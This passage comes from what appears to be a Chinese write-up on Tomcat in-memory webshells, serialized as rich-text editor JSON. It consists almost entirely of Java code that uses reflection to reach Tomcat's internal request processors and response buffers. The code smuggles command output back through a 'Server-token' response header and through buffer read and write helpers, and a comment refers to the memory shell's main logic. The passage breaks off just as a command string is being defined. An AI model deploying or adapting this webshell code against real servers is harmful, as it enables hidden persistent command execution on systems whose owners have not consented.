\&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fjSG-1660296945158&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oT41-1660296945157&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yCHN-1660296945160&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jn7o-1660296945159&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MjOm-1660296945162&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JzZn-1660296945161&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o3uS-1660296945164&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ctOO-1660296945163&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                ArrayList objects = (ArrayList) getField(getField(getField(getField(target, \&#34;this$0\&#34;), \&#34;handler\&#34;), \&#34;global\&#34;), \&#34;processors\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rsb3-1660296945166&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aT37-1660296945165&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                for (Object tmp_object : objects) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y3Sq-1660296945168&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X7Si-1660296945167&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2i95-1660296945170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hld7-1660296945169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        RequestInfo request = (RequestInfo) tmp_object;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I5uJ-1660296945172&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e00e-1660296945171&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        Response response = (Response) getField(getField(request, \&#34;req\&#34;), \&#34;response\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RhQ8-1660296945174&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kdjs-1660296945173&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        String a = new String(res, \&#34;UTF-8\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lPhe-1660296945176&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RivN-1660296945175&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        response.addHeader(\&#34;Server-token\&#34;, a);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L75Z-1660296945178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a8mo-1660296945177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        Http11OutputBuffer buffer = (Http11OutputBuffer) getField(response, \&#34;outputBuffer\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2rJb-1660296945191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G80c-1660296945190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        System.out.print(\&#34;buffer add\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kybb-1660296945193&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KAiT-1660296945192&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s3Re-1660296945195&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Aope-1660296945194&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                         } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nYvP-1660296945201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nwlR-1660296945200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                        continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8PTU-1660296945203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ds40-1660296945202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d6Kq-1660296945207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v2mL-1660296945206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oJTk-1660296945209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FF2T-1660296945208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tdlg-1660296945211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wmOO-1660296945210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                                continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pVJI-1660296945213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z8HI-1660296945212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jVFL-1660296945215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TLfD-1660296945214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qASq-1660296945217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LU0f-1660296945216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MOfd-1660296945219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bsNW-1660296945218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AXIn-1660296945221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yhx5-1660296945220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zsC4-1660296945223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F01l-1660296945222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5dYZ-1660296945225&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LFJw-1660296945224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mUbM-1660296945227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1O4Q-1660296945226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MvRS-1660296945229&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MzSp-1660296945228&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;haGq-1660296945231&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5EwX-1660296945230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XToZ-1660296945233&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yBXV-1660296945232&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DpkR-1660296945235&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mSTD-1660296945234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public String GetRes(ByteBuffer buffer){//从buffer中读取回显&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2cYu-1660297275161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PL6v-1660297275160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            int ResponseSize = 3000;//可从线程中获取header buffer的max-size来作为窗口大小，以加快读取速度。&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tLoZ-1660297275163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EyVE-1660297275162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VgE7-1660297275165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Yhs-1660297275164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LdPa-1660297275186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;75jI-1660297275185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                byte[] a = new byte[ResponseSize];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m4sa-1660297275194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dbyg-1660297275193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                buffer.get(a);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kUok-1660297275196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vGuE-1660297275195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vb7L-1660297275198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvT7-1660297275197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if(a[0] == 0){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ivIO-1660297275200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qKvy-1660297275199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eeTF-1660297275202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p6dW-1660297275201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Rys-1660297275204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;73Tl-1660297275203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PSTS-1660297275206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qStz-1660297275205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if(new String(a).indexOf(0) != -1){&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pq5z-1660297275208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T9Jo-1660297275207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    Arrays.fill(buffer.array(),(byte)0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kUmh-1660297275210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WaoX-1660297275209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    buffer.position(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UHXR-1660297275212&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4uI0-1660297275211&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return new String(a);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oBPZ-1660297275214&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gkuH-1660297275213&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O48L-1660297275216&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g24b-1660297275215&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AW4p-1660297275218&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;37Bd-1660297275217&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return new String(a);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ood-1660297275220&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jpVv-1660297275219&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8PKp-1660297275222&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Rtk-1660297275221&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lmid-1660297275224&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hZDp-1660297275223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H5GU-1660297275226&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;di72-1660297275225&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zC8f-1660297275228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WTUz-1660297275227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dJZO-1660297275230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JUaL-1660297275229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;       }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L2gJ-1660296868227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HH3L-1660296868226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V6Hn-1660296868229&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kX9i-1660296868228&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      public void PutResponse(String a , ByteBuffer buffer) {//将回显存入buffer&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9oRi-1660296868231&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CWex-1660296868230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;           try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0x9B-1660296868251&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;19rH-1660296868250&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  Arrays.fill(buffer.array(),(byte)0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VyNo-1660296868253&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gt4z-1660296868252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  buffer.position(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UKOM-1660296868255&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6No1-1660296868254&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  buffer.put(a.getBytes());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gpWZ-1660296868257&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s4XD-1660296868256&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  buffer.position(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ar4K-1660296868259&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iCKB-1660296868258&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                  return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;teJD-1660296868265&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5m9d-1660296868264&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;               } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EoyY-1660296868267&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hjH2-1660296868266&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;               }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E0H6-1660296868269&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AA7c-1660296868268&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;               return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UKbx-1660296868271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rjbU-1660296868270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;       }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MlXa-1660297094963&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UgZN-1660297094961&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YLkQ-1660297103830&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FFrT-1660297103828&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fTqe-1660297105583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4ypN-1660297105581&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pex9-1660297105776&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZY1M-1660297105774&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//对应内存马主逻辑修改&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lkBV-1660297130774&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UgI6-1660297130772&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;     String cmd = 